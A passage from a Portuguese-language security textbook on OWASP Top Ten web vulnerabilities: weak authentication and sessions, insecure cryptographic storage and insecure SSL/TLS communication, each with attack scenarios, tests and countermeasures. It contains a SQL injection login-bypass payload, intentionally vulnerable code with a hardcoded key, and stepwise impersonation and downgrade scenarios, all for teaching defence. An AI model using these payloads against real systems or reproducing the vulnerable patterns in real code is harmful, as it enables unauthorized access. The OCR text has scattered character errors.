Um sistema possui uma tela de autenticacao, contendo campos para identificador de
usuario e senha, e envia essas informacoes ao servidor por meio do protocolo HTTPS.
As credenciais, ao serem recebidas pelo servidor, sao conferidas pelo seguinte trecho
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Figura 6.16. Identificadores de sessao com baixa aleatoriedade. Amostra de mil valores.

de pseudo-codigo:

sComando = "select count(*) into :nCount
from usuarios
where id = ’" + sIdentificador + "’ and

senha = ’" + sSenha + "’";

SqlExecute(hSql, sComando);

if (nCount > 0) print("Usuario autenticado");

O mecanismo pode ser quebrado da seguinte maneira:

1. Usuario malicioso digita o caractere “’” no campo de usuario e descobre que a
aplicacao é vulneravel a injecao de SQL.

2. O atacante fornece o valor “’> or 1=1;--" para o campo usuario e um valor
qualquer para a senha.

3. A aplicagado executa a consulta:

select count(*) into :nCount
from usuarios
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where id = ’’ or 1=1;--’ and
senha = ’qualquervalor’;

Como a expressao “1=1" é uma tautologia, o where é avaliado como verda-
deiro para todas as tuplas da tabela e a quantidade delas serd armazenada em
nCount. Devido a construcao do if, a aplicagao autentica o usuario, mesmo
sem ele saber a senha correta.

Cenario 2: Troca de senha sem autenticagao

Este cenario consiste de uma aplicacao que nao solicita a senha atual para realizar
a troca de senhas. Por motivos de seguranca, a tela para efetuar essa operacao é
acessivel somente a usudrios autenticados e solicita que o usudrio digite a nova senha
duas vezes. A requisicao é enviada pelo método POST e o identificador do usudrio
atual, em um campo escondido do formulario. Os passos para explorar essa situagao
sao simples:

1. Usuario malicioso habilita um proxy local, para interceptar as requisig¢oes para
a aplicacao.

2. Ele se autentica na aplicacao e, em seguida, acessa a pagina para troca de
senhas, residente na area protegida.

3. O atacante digita duas vezes a mesma senha e envia a requisi¢ao, que ¢ inter-
ceptada pelo prory. Basta, agora, alterar o valor do campo escondido para o
identificador da vitima, que a senha dela sera trocada pela escolhida.

6.5.5.3. Testes

Os seguintes testes devem ser aplicados sobre os mecanismos de autenticacao e ge-
renciamento de sessoes:

1. Utilize um prozy local para verificar se as requisicoes de autenticacao sao
enviadas por meio do protocolo HT'TPS. Pode ocorrer da tela em que sao
colhidas as credenciais ser fornecida por HT'TP, mas a requisicao ser enviada
pela versao protegida do protocolo, ou vice-versa.

2. Com uma conta valida, altere a senha algumas vezes para verificar se a apli-
cacao implementa comprimento minimo, complexidade e historico.

3. Utilize ferramentas automatizadas para encontrar contas padronizadas na apli-
cacao e nas plataformas de suporte.

4. Verifique se as mensagens de erro para conta invalida e senha incorreta sao as
mesmas.

5. Realize teste de forca bruta contra o mecanismo de autenticacao.
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. Verifique se a tela de autenticagao é vulneravel a injecao de SQL. Em caso

positivo, procure efetivar o ataque para averiguar se é possivel enganar o me-
canismo de autenticacao.

Anote URLs de paginas acessiveis somente a usuarios autenticados, encerre a
sessao e tente acessd-las diretamente.

Procure por parametros que possam indicar se um usuario esta ou nao auten-
ticado e, se exitirem, adultere o valor para “sim”.

Analise 0 mecanismo de recuperacao de senhas e verifique a dificuldade de
deduzir as respostas das perguntas secretas. Tente um ataque de for¢a bruta
contra elas para constatar a existéncia de mecanismos de travamento.

Utilize um prozxy local para obter o identificador da sessao atual, desconecte-se
da aplicacao e realize uma requisicao, utilizando o identificador obtido.

Por meio de um prozy local, verifique se os atributos secure e HttpOnly sao
utilizados na protecao de cookies.

Utilize um analisador estatistico para verificar a aleatoriedade dos identifica-
dores de sessao fornecidos pela aplicagao.

Intercepte uma requisicao com um prozy local e troque o valor do identificador
de sessao para outro qualquer. Verifique se a resposta contém o valor fixado.

6.5.5.4. Contramedidas

Para obter mecanismos de autenticacao e de gerenciamento de sessoes robustos, é
necessario observar diversos pontos importantes (Meucci et al., 2008; Stuttard and
Pinto, 2007):

Desabilite contas pré-definidas da aplicacao e das plataformas que a suportam,
como bancos de dados, servidores web, sistemas operacionais, etc.

Implemente na aplicagao politicas de senhas fortes que considerem tamanho
minimo, complexidade, troca periodica, histérico e travamento por multiplas
tentativas invalidas de autenticagao.

Sempre transmita credenciais de acesso e identificadores de sessoes autentica-
das por tuneis protegidos criptograficamente.

Nao confie em parametros acessiveis aos usuarios, para decidir se estao ou nao
autenticados.

Sempre antes de atender a uma requisicao a um recurso protegido, verifique
se o usuario estd autenticado e possui os devidos privilégios.
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6. Em mecanismos de recuperacao de senhas, empregue perguntas secretas, cujas
respostas nao sejam facilmente dedutiveis. Limite o niimero de tentativas para
acerto das questoes, para evitar ataques de forca bruta. Em caso de sucesso,
envie uma mensagem automatica para o endereco de e-mail pré-cadastrado,
contendo um link para uma pagina efémera individualizada, na qual nova
senha pode ser definida.

7. Exija sempre o fornecimento da senha atual para efetuar a troca de senha de
um usuario.

8. Nao crie esquemas de gerenciamento de sessoes proprios. Utilize os fornecidos
pelas linguagens utilizadas no desenvolvimento da aplicagao.

9. Certifique-se de que os identificadores de sessao utilizados possuem boa alea-
toriedade.

10. Nunca aceite identificadores de sessao definidos pelo usuéario. Caso isso ocorra,
envie resposta com um novo valor.

11. Utilize os atributos secure e HttpOnly, em cookies, para protege-los durante
a transmissao e contra acessos de codigos no lado do cliente.

12. Encerre as sessoes, automaticamente, apos um determinado periodo de ociosi-
dade.

13. Quando o usuario se desconectar da aplicacao, invalide o identificador de sessao
associado a ele, no lado do servidor. Para isso, a funcao especifica do modelo
de gerenciamento de sessoes empregado deve ser chamada.

6.5.6. Armazenamento Criptografico Inseguro

6.5.6.1. Descricao e Causas

A criptografia moderna fornece um conjunto de técnicas matematicas e computacio-
nais para atender a diversos dos requisitos de seguranca da informacao. Atualmente,
ela esta presente no nosso dia-a-dia de maneira profusa, em protocolos de comuni-
cagao, caixas eletronicos, protecao de software e de contetido, urnas eletronicas e
TV digital, entre outros exemplos. Infelizmente, porém, a implantagao de mecanis-
mos criptograficos requer diversos cuidados, que, muitas vezes, nao sao observados
e comprometem a seguranca da solu¢ao como um todo.

E relativamente comum, por exemplo, encontrar sistemas que apenas se pre-
ocupam em proteger as informagoes em transito e que se esquecem (ou ignoram) de
protege-las durante o armazenamento. Nesse caso, uma vulnerabilidade no servidor
pode ser suficiente para recuperar as informacoes, que estao em claro no disco. O
usuario malicioso, obviamente, nao se esforcara para quebrar a criptografia utilizada
na protecao do canal de comunicagao.

Por outro lado, quando existe a preocupacao em cifrar dados sigilosos, a maior
vulnerabilidade encontrada é com relagao a protecao das chaves criptograficas utili-
zadas. Normalmente, os desenvolvedores as embutem no cédigo, achando que, uma
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vez compilados os programas, sera dificil que alguém as recupere. Este pensamento,
muito comum, infelizmente, estd equivocado. Por exemplo, se a chave foi colocada
como uma cadeia de caracteres, basta utilizar um comando como o strings do Li-
nux, para encontrar a informagao desejada. Caso a chave seja ofuscada, técnicas de
depuragao do programa podem ser empregadas, chegando-se ao mesmo resultado.

Mesmo que fosse impossivel descobrir a chave, por meio da anélise do binério,
tal pratica fere os preceitos de gerenciamento de chaves criptograficas. O motivo é
que a chave teria criptoperiodo infinito, isto é, ela nunca expiraria, salvo se novo
binario fosse gerado, com substituicao da chave. Note-se que o objetivo de definir
um tempo maximo para o uso de uma chave é limitar: a quantidade de texto cifrado
para criptoandlise; o montante de informacao em caso de comprometimento; o uso
do algoritmo ao tempo de vida esperado; o tempo disponivel para ataques de forca
bruta (Menezes et al., 2001).

Pensando no ciclo de vida das chaves criptograficas, um ponto que merece,
mas nao recebe, bastante atencao é a fase de criacao, que deve empregar métodos
que garantam um bom nivel de aleatoriedade. Nao é incomum encontrar programas
que baseiam a geracao de chaves em fungoes como rand(), na linguagem C, e em
classes como Random(), em Java. Ou, pior ainda, empregam cadeias fixas como
“01234567...7, “000000...” e “ftffff...”, as quais, dada a freqiiéncia com que aparecem,
sao candidatas naturais a serem testadas.

Muitas empresas utilizam cifras caseiras ou classicas na protegao de informa-
¢oes valiosas, conforme constatado em diversas auditorias e andlises de vulnerabili-
dades realizadas pelos autores. Na grande maioria dos casos, empregavam-se cifras
de substituicao monoalfabética com chaves fixas como parte da transformacgao. Em
outros, as informagoes eram apenas codificadas em BASE64. Nao é nem necessa-
rio dizer que todas essas solucoes fornecem um nivel de seguranca quase nulo. Um
pouco melhor, mas ainda problematico face ao valor das informacoes protegidas, é
o uso de DES simples, contra o qual ataques de for¢a bruta sao vidveis a um custo
relativamente baixo.

Aspectos mais sutis, com relacao ao armazenamento seguro de informagoes,
estao relacionados com detalhes de desenvolvimento da solucao. Por exemplo, se
as posigoes de memoria contendo chaves criptograficas nao forem zeradas antes de
liberadas, ou se essas mesmas regioes forem para disco, no processo de swap do
sistema operacional, acesso nao autorizado as chaves podera ocorrer.

6.5.6.2. Cenarios de Exploracao
Cenario 1: Recuperando chaves embutidas

Nesse cenario, um programador embute a chave criptografica diretamente no codigo
do programa, conforme ilustrado a seguir:

#include <stdio.h>

int main() {
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char key[] = "0a3bc178940fd43047027cda807409af";

printf ("Cifrando dados. Aguarde...\n");

O programa ¢é compilado, gerando o bindrio cifra, e, por essa razao, o de-
senvolvedor julga que a chave estd protegida de acessos ilegitimos. O usudrio mal
intencionado, ao obter o programa, executa imediatamente o comando strings do
Linux sobre o binario, gerando a saida:

/1ib/1d-linux.so0.2
#IB
__gmon_start__
libc.so0.6
_I0_stdin_used
puts
__libc_start_main
GLIBC_2.0

PTRh

0a3b

cl78

940f

d430

4702

Tcda

8074

09af

[~_]

Cifrando dados. Aguarde...

Pronto! A chave aparece na lista de cadeia de caracteres do programa, agru-
pada de quatro em quatro digitos hexadecimais.

Cenario 2: Protecao de dados com primitiva inadequada

Uma aplicagao utiliza senhas de quatro digitos numéricos para autenticar os usuérios
e, para evitar ataque de forca bruta, trava a conta a cada trés tentativas malsucedidas
e consecutivas de autenticacao. Seguindo o modelo de ambientes Unix, somente os
hashes das senhas sao armazenados e, com isso, deseja-se prover o sigilo delas
gracas a propriedade de resisténcia da pré-imagem, apresentada por funcoes de hash
criptogréficas. A solucao, nesse caso especifico, nao é adequada, pois pode ser violada
da seguinte maneira:
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1. O atacante obtém o arquivo contendo os pares (usudrio, senha) e, pelo tamanho
do hash, seleciona algumas fungoes candidatas.

2. Para cada uma das funcgoes candidatas, ele gera uma tabela contendo senha e
valor hash, para todas as dez mil senhas possiveis (quatro digitos, dez possi-
bilidades por posigao).

3. O usudrio malicioso cruza, entao, o arquivo de senhas com as diversas tabelas
9 9 )
por meio do campo hash, e a correta sera aquela que possuir todos os valores.

O grande problema nesse cenario ¢ que o dominio de entrada ¢ muito pequeno,
com apenas dez mil elementos. Assim, mesmo que salts fossem empregados, ainda
seria possivel derrotar o mecanismo, em um tempo factivel.

6.5.6.3. Testes

A melhor maneira de verificar a qualidade das solucoes criptograficas adotadas por
uma aplicacao ¢ por meio da revisao de codigo, pois, assim, todos os detalhes de
implementacao podem ser avaliados. Testes caixa-preta devem ser efetuados para
se encontrar problemas obvios:

1. Execute o comando strings do Linux sobre os arquivos bindrios da aplicacao
e verifique a presenga de chaves embutidas.

2. Analise todos os arquivos de configuracao da aplicacao e verifique se nao pos-
suem chaves criptograficas em claro.

3. Colete amostras de material cifrado pela aplicagao e procure por padroes que
indiquem o uso de cifras de substituicao por caractere ou o emprego de esque-
mas de codificacao.

4. Se fungoes de hash criptograficas forem utilizadas na protecao de senhas, ve-
rifique se a cardinalidade do dominio de entrada nao é pequena, permitindo
ataques de dicionario.

6.5.6.4. Contramedidas

Um armazenamento seguro de informacoes requer a selecao adequada de criptossis-
temas, o gerenciamento das chaves criptograficas utilizadas e o zelo adequado com a
manipulacao de chaves pelos programas (Howard et al., 2005; Meucci et al., 2008):

1. Classifique as informacoes e cifre aquelas que necessitam satisfazer o requisito
de confidencialidade.

2. Se nao for necessario, nao armazene dados sensiveis, apds serem processados,
evitando, assim, ter de protege-los. Um exemplo disso é o pagamento com
cartoes, que necessita do nimero de conta, até a transacao passar pelo processo
de autorizacao; apds isso, ele pode, geralmente, ser descartado (PCI, 2009a,b).
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3. Crie e utilize processos e procedimentos para gerenciamento de chaves cripto-
graficas, para que estas sejam protegidas durante todo o ciclo de vida, que vai
da criagao a destruicao (Menezes et al., 2001; PCI, 2009a,b).

4. Nao crie seus proprios algoritmos e protocolos criptograficos, pois, mesmo
quando escritos por criptélogos de primeira linha, eventualmente, apresentam
vulnerabilidades (Knudsen, 2005; Pramstaller et al., 2005).

5. Nao utilize algoritmos criptograficos com fraquezas conhecidas, como DES,
MD5 (Wang and Yu, 2005) e SHA-1 (Wang and Lisa, 2005). Embora este
ultimo ainda nao tenha sido completamente quebrado, ja teve a seguranca
tedrica reduzida consideravelmente.

6. Utilize bons geradores de niimeros pseudo-aleatorios para a criacao de chaves.
Logo, nunca utilize com esse propésito fungoes como rand() da linguagem C,
por exemplo.

7. Considere realizar as operagoes criptograficas e armazenar as chaves relacio-
nadas, em hardware seguro, quando os dados protegidos forem extremamente
sensiveis. Parta da maxima de que “Software nao pode proteger a si préprio”
(Howard et al., 2005).

8. Se nao for possivel proteger chaves por meio de hardware seguro, utilize pro-
tocolos de partilha de segredos com vérios custodiantes.

9. Limpe a memoéria alocada para chaves criptograficas antes de libera-la para o
sistema operacional.

10. Nunca embuta chaves criptograficas e senhas no cédigo do programa, pois sao
facilmente recuperaveis. Dependendo de como estiverem, basta um comando
para realizar a tarefa.

11. Marque as paginas de memoria, contendo chaves criptograficas, como inelegi-
veis para swap.

6.5.7. Comunicagao Insegura

6.5.7.1. Descrigao e Causas

Comunicacao segura de rede ocorre quando os seguintes requisitos de segurancga da
informacao sao satisfeitos (Howard et al., 2005; Stallings, 2005):

e Autenticacao de entidades — as identidades das partes envolvidas na comunica-
¢ao sao corroboradas. Isto é importante para certificar-se de que a conversagao
ocorre com a entidade correta, ainda mais que ataques de redirecionamento
sao relativamente comuns.

e Autenticacao da origem da mensagem — corroboragao de identidade do reme-
tente da mensagem, para evitar falsificacao de dados.
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e Integridade — informagoes enviadas nao sao adulteradas em transito. Afinal,
ninguém quer que a conta destino de uma transferéncia bancaria seja alterada
para a de um atacante.

e Confidencialidade — informagoes transportadas pelo canal nao sao reveladas a
terceiros que nao sejam parte da comunicacao. Por exemplo, senhas e niimeros
de cartao de crédito devem ser conhecidos apenas pelas partes autorizadas.

Em aplicagoes web, esses requisitos sao atendidos, normalmente, pelo uso
dos protocolos SSL e TLS, para transporte de dados HTTP, os quais realizam um
6timo trabalho, quando implantados corretamente. Infelizmente, na pratica, servi-
dores nao sao corretamente configurados, do ponto de vista de seguranca, e clientes
de acesso personalizados nao implementam algumas sutilezas desses protocolos ade-
quadamente. O resultado disso é que a violagao dos requisitos supracitados torna-se
completamente factivel. Para piorar ainda mais a situacao, ainda ha os que acre-
ditam que o uso de HTTPS, por si s0, é suficiente para tornar uma aplicacao web
segural

Do lado do servidor, um problema muito comum ocorre com o certificado digi-
tal utilizado na configuragao do tinel SSL/TLS. Intimeros sao os casos de aplicagoes
que empregam certificados auto-assinados, expirados ou emitidos por autoridades
certificadoras caseiras, das quais os navegadores e sistemas clientes nao possuem
a chave publica autentica, para validacao de assinatura. Em qualquer um desses
casos, uma mensagem de erro, como a ilustrada pela Figura 6.17, é exibida ao usua-
rio. Como o objetivo deste é sempre utilizar o sistema, provavelmente, ele ignorara
o alerta e continuard o acesso, ainda mais impulsionado pelo hébito criado pela
aplicacao. Posteriormente, se ele for vitima de um ataque de phishing ou de re-
direcionamento, a tela de aviso aparecera igualmente e a pessoa prosseguira como
acostumada.

Outro problema resultante de ma configuragao é o suporte a suites cripto-
graficas fracas e a versoes antigas do protocolo SSL. Existem algumas suites para
testes, que eram habilitadas por padrao em sistemas antigos, as quais nao utilizam
cifras para proteger a confidencialidade das informacoes trafegadas. Outras, por sua
vez, cifram o canal, mas com algoritmos datados ou de exportacao, que podem ser
quebrados por forca bruta. J4 no caso de SSL 2.0, é possivel forcar a escolha de
algoritmos, por meio da adulteragao do handshake, e, também, excluir bytes no final
de cada mensagem, sem ser detectado, dada uma falha na geracao do MAC.

Um ponto que nunca recebe a atencao que merece é a protecao da chave
privada utilizada por esses protocolos. Em ambientes tipicos, ela é protegida por
uma senha, a qual é embutida em scripts de inicializagao do servidor, para que
seja carregada automaticamente neste instante. Além disso, normalmente, nao ha
restri¢oes quanto a leitura desses arquivos, o que permite que qualquer usudrio acesse
a chave privada, apds inspecao da senha utilizada. Embora essa abordagem seja
melhor, em termos operacionais, é péssima para seguranca. Uma vez conseguidos
a chave privada e certificado de uma aplicacao web, fica muito facil personifica-la
de maneira perfeita, pois nenhum navegador ird reclamar de nao ter conseguido
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Figura 6.17. Erro na validacao do certificado.

completar o handshake SSL/TLS.

Para finalizar o lado da aplicagao, algumas delas protegem o transporte de
informacoes sigilosas, por meio do protocolo HT'TPS, configurando-o perfeitamente,
com suites criptograficas fortes e certificado digital valido. Nao obstante, permitem
que 0 mesmo recurso seja acessado, também, por meio de HTTP simples. Assim,
sem muita dificuldade, um usudrio pode ser induzido a acessar paginas sensiveis, por
meio de HTTP, quando, entao, informacao podera ser capturada em transito.

Do lado cliente, os problemas surgem quando as informacoes do certificado
digital apresentado pelo servidor nao sao validadas, ou quando o protocolo nao é
seguido a risca. Logo, se a data do acesso estiver fora do prazo de validade do
certificado, se ele estiver revogado ou se nao for possivel verificar as assinaturas di-
gitais na cadeia de certificacao, o handshake deve ser finalizado com erro. Outro
aspecto importante considerado na especificacao do HT'TPS, mas nao pelos proto-
colos SSL/TLS, é que o nome do dominio sendo acessado deve ser conferido com
o contido no certificado (Howard et al., 2005; Oaks, 2001). O resultado da nao
observagao deste ponto é descrito no Cendrio 1, da Secao 6.5.7.2.

Por fim, observe-se a Figura 6.17 novamente. O navegador, face a um pro-
blema na negociagao do protocolo SSL, da a opcao ao usuario, potencialmente leigo
em seguranga, de adicionar uma excegao e continuar o acesso ao site. Entregar
uma decisao de seguranga ao usudrio ¢, conforme Howard et al. (2005), uma vul-
nerabilidade, pois nao se pode esperar que ele sempre escolha a op¢ao mais segura.
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Consonantemente, os autores consideram que isso seja um defeito de projeto dos
navegadores, que deveriam considerar uma falha no estabelecimento do tinel SSL,
como um problema de conectividade de rede, por exemplo, no qual o usuario é
impedido de prosseguir.

6.5.7.2. Cenarios de Exploracao

Cenario 1: Personificacao de servidor

Este cenario considera um navegador web que nao verifica se 0 nome de dominio do
site sendo acessado é o mesmo que o contido no certificado digital apresentado pelo
servidor:

1. O atacante obtém um certificado digital e chave privada correspondente va-
lidos, de um dominio XYZ qualquer, por meio da exploracao de um servidor
vulneravel, ou gerando as chaves e comprando o certificado de uma autoridade
certificadora com processos de verificacao de identidade ineficazes.

2. Um servidor web é criado com contetdo clonado do dominio ABC e com HTTPS
configurado com o par de chaves do primeiro passo.

3. Um e-mail é enviado a um conjunto de vitimas para que acessem o servidor
malicioso, como sendo do dominio ABC.

4. Durante a negociacao SSL, o servidor clonado envia o certificado do dominio
XYZ para o navegador, que verifica, com sucesso, data de validade, assinaturas
da cadeia de certificacao e estado nao revogado, mas nao valida o dominio.
Como nenhum erro ocorre, a chave publica é extraida e utilizada para compor
a mensagem client_key_exchange, enviada, em seguida, ao servidor.

5. O servidor é capaz de extrair o conteido da mensagem client_key_exchange,
pois possui a chave privada associada ao certificado do dominio XYZ, e com-
pletar as operacoes para estabelecimento de chaves.

6. As mensagens change_cipher_spec e finished sao trocadas entre as duas
partes e o protocolo encerra-se normalmente, com a vitima conectada a um
servidor falsificado.

Cenario 2: Comunicagao em claro
Considere-se um servidor web configurado para aceitar suites criptografica fracas.
A exploracao dessa vulnerabilidade pode ocorrer da seguinte maneira:

1. Por meio de outra vulnerabilidade no cliente, o atacante forca que a lista de
suites enviadas na mensagem client_hello contenha apenas a NULL-SHA.

2. O servidor escolhe os algoritmos para protecao do tunel SSL, com base na
interseccao das listas de suites suportadas por ambos que, no caso, é a prépria
NULL-SHA.
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3. O atacante captura os pacotes de rede e extrai as informagoes desejadas que,
embora encapsuladas por SSL, nao estao cifradas, conforme pode-se observar
pela Figura 6.18.
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Figura 6.18. Trafego TLS em claro.

6.5.7.3. Testes

Para testar a seguranca da comunicacao com a aplicagao web, siga o seguinte roteiro:

1. Acesse a aplicacao web com os principais navegadores e verifique se algum
deles reclama do certificado apresentado pelo servidor.

2. Para verificar quais suites criptogréaficas sao suportadas, utilize o OpenSSL,
com a seguinte sintaxe:
openssl s_client —-connect <IP servidor>:<porta> -cipher <suite>

Por exemplo, para testar se a suite NULL-MD5 é suportada pelo servidor com
IP 192.168.10.100, execute o comando abaixo e verifique se algum erro ocorre:

openssl s_client -connect 192.168.10.100:443 -cipher NULL-MD5
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SSL handshake has read 2912 bytes and written 228 bytes
New, TLSv1/SSLv3, Cipher is NULL-MD5
Server public key is 1024 bit
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSvl
Cipher : NULL-MD5

Alternativamente, utilize o utilitario SSLDigger da Foundstone, que, além de
verificar as suites e protocolos suportados, atribui uma nota denotando o nivel
de seguranca estimado da configuracao.

. Para testar se SSL 2.0 é suportado, uma variante do comando acima pode ser

empregada:

openssl s_client -ssl2 -connect <IP servidor>:<porta>

. Navegue pela aplicacao e levante todas as péaginas que sao acessiveis por

HTTPS. Para cada uma delas, altere o protocolo para HT'TP e verifique se a
aplicacao continua atendendo a requisicao.

. Acesse os arquivos de configuracao do servidor SSL/TLS e verifique se a chave

privada é carregada automaticamente, a partir de um arquivo com senha em-
butida.

. Se houver desenvolvimento de cliente SSL/TLS, instale um servidor web com

esses protocolos configurados e acesse-o com o primeiro. Utilize, alternada-
mente, certificados vencidos, revogados e com nome de dominio diferente do
campo CN; e verifique se o software aponta o erro na negociacao do protocolo.

6.5.7.4. Contramedidas

Os seguintes pontos devem ser observados para evitar-se uma comunicagao insegura
com a aplicacao web:

1. Configure o servidor para aceitar apenas suites criptograficas fortes, descar-

tando, assim, algoritmos de exportagao, datados e quebrados.

2. Nao utilize versoes de SSL anteriores a 3.0 e prefira o uso do protocolo TLS.

3. Compre e instale um certificado digital de uma autoridade certificadora co-

nhecida e confidvel. Nao deixe que o certificado expire, comprando um novo,
antes que isso aconteca.
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4. Nao permita que um recurso servido por meio do protocolo HT'TPS seja aces-
sivel por HTTP.

5. Proteja a chave privada do servidor, preferencialmente, partilhando-a entre
varios custodiantes e fornecendo-a ao sistema, sempre que necessario, por meio
de cerimonia oficial.

6. Caso implemente o lado cliente dos protocolos SSL/TLS, lembre-se sempre
de verificar a validade do certificado recebido e conferir o nome de dominio
acessado contra o contido no certificado.

6.6. Consideracgoes Finais

A maior parcela das vulnerabilidades encontradas, nos 1ltimos anos, estd relacio-
nada a aplicagoes web. Essa realidade é decorrente, primeiro, da massificagao desse
tipo de sistema, que, atualmente, é empregado para comércio eletronico, internet
banking, apresentacao de exames laboratoriais, interacao com o governo, ensino a
distancia e gerenciamento de equipamentos de redes, entre diversos outros exem-
plos. Em segundo lugar, ¢é resultado de ciclos de desenvolvimento de software que
nao consideram seguranga em (quase) nenhuma das etapas do processo.

O OWASP Top Ten e demais projetos do grupo tém o objetivo de sensibilizar
a comunidade para esses problemas que afetam aplicacoes web, definir as melhores
praticas do setor e fornecer metodologias e ferramentas para testar a (in)seguranca
desses sistemas. Todo o esfor¢o dessas iniciativas foi reconhecido pela industria de
cartoes de pagamento, que incluiu, como requisito explicito dos padroes PCI DSS
(PCI, 2009a) e PCI PA-DSS (PCI, 2009b), a necessidade de controles para todos os
itens do Top Ten. E primordial que essa preocupacao se estenda a todos aqueles que
desenvolvem software para web, pois, a cada dia, informagoes cada vez mais criticas
sao manipuladas nesses ambientes. Se isso nao ocorrer, os ataques resultarao em
prejuizos financeiros cada vez maiores e violacoes freqiientes de privacidade.
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